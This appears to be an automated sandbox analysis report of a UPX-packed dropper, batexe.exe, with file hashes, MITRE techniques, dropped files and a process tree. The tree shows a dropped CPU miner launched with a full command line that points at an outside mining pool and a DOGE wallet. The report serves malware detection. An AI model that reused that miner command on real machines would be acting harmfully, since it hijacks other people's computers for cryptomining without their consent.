73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
301s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
24/02/2024, 12:35

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1392040655-2056082574-619088944-1000\Control Panel\International\Geo\Nation	b2e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1392040655-2056082574-619088944-1000\Control Panel\International\Geo\Nation	batexe.exe

Executes dropped EXE 2 IoCs

pid	Process
4704	b2e.exe
4884	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4884	cpuminer-sse2.exe
4884	cpuminer-sse2.exe
4884	cpuminer-sse2.exe
4884	cpuminer-sse2.exe
4884	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3348-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3348 wrote to memory of 4704	3348	batexe.exe	89
PID 3348 wrote to memory of 4704	3348	batexe.exe	89
PID 3348 wrote to memory of 4704	3348	batexe.exe	89
PID 4704 wrote to memory of 2008	4704	b2e.exe	90
PID 4704 wrote to memory of 2008	4704	b2e.exe	90
PID 4704 wrote to memory of 2008	4704	b2e.exe	90
PID 2008 wrote to memory of 4884	2008	cmd.exe	93
PID 2008 wrote to memory of 4884	2008	cmd.exe	93

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3348
- C:\Users\Admin\AppData\Local\Temp\5CC6.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5CC6.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5CC6.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4704
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5F66.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2008
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4884

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5CC6.tmp\b2e.exe

Filesize
9.2MB

MD5
92a4bba810ca53e48dd8d6d7d059b059

SHA1
5fdb2464f2ad49239c3a00742e5f8133c6f71adb

SHA256
860891f1f3030e4bfa8611cbb36ba03618fbedc82a57f7a4e6af7a7dbf1f2289

SHA512
bba71f49995565de9d9d6bf4530b7e1c931dcee49917fed42b2c32153e0e07d81ea9d86fe0a3b6a2fa428036af7f0b8e5ed9a30b4b71e3c8e7862fe472c43711

Download Submit
C:\Users\Admin\AppData\Local\Temp\5CC6.tmp\b2e.exe

Filesize
2.3MB

MD5
6f194119986e66084a37fab2118104f0

SHA1
29d570973321b91b8b0aa7c9c787348db750caf4

SHA256
912371d8c061c9764690803f3d776e09c693f88d66bedccb568bc78488d1f2ba

SHA512
e1152862cef40fbb2f7eca2adc58648658dd5953fa7b803550d68ba22991deab8f55df3967509e39a140834937806a5ed7881c09fdea3c7c27a0c4535a63fe07

Download Submit
C:\Users\Admin\AppData\Local\Temp\5CC6.tmp\b2e.exe

Filesize
2.9MB

MD5
ea792ebd772ba0e254a81655cfdf1d79

SHA1
a15be01c4a827fa16b6bd35b1b5f2031ee755e9a

SHA256
fd661fd36a27fb5db475ff3453523bc9cd03828e829c0edeba08ac0c6cc9825d

SHA512
ea0e569d93ca4a609e97acdddb47172a9136e6963b2b0f65360fedc24865b97f5a55714ba07c88c43e5900745ae72ac236bdc44262ea7a404201004df76b9499

Download Submit
C:\Users\Admin\AppData\Local\Temp\5F66.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.3MB

MD5
2721685ecd67425b71b28a2ef2a8ab4d

SHA1
80c2e32f6ef5cc32f9cb6797bc7dc94dbdbb6069

SHA256
735def2067453ff3e7141dc5a4296bf4c459607a7647d1106353aca6c949ed0f

SHA512
d0ae2398e84076b49d6a30cc8643995fa27a387260126eec2d767571744e03d7a3473d13dcc8c633cd1ab136b46eeba667c7f10e6cac8af09bb94cba0e0336a2

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.2MB

MD5
97f77dba8d683dba1a88994ebeb1df32

SHA1
c9f245a2a5d3f14379815e5359cca924bbfcbf79

SHA256
e78078ae31e1e20be8a9f1b255fb84f3d28aea0ae9d8a1875b872e1d5aa06b26

SHA512
28555971f060026e4adbb40a1a66fd739bf50a605ff7332d02aa379e515f494c883c434fa4cc86b9e14f69ab6b750cb6fd8fd3f6879c8b50ee249489986eddd7

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.0MB

MD5
c6b9614a0a5e5a4fa2abf4e49a241f51

SHA1
2ae32d741054bde5287e5d64a698f961f5954e2e

SHA256
8fddc61f733749232efb747666fa327334c82c9decdfabf7ede9e84bc2266014

SHA512
438e1373a11a63605cf959cacca9ffdaa0ddd6586204c0ae2e8448a742180218f090daf7759761c7fd21835a72f793335f255805596988509763649b420f4274

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/3348-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4704-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4704-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4884-46-0x0000000072660000-0x00000000726F8000-memory.dmp

Filesize
608KB

Download
memory/4884-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4884-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4884-47-0x0000000001150000-0x0000000002A05000-memory.dmp

Filesize
24.7MB

Download
memory/4884-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4884-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4884-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4884-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4884-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4884-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4884-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4884-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4884-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4884-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4884-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download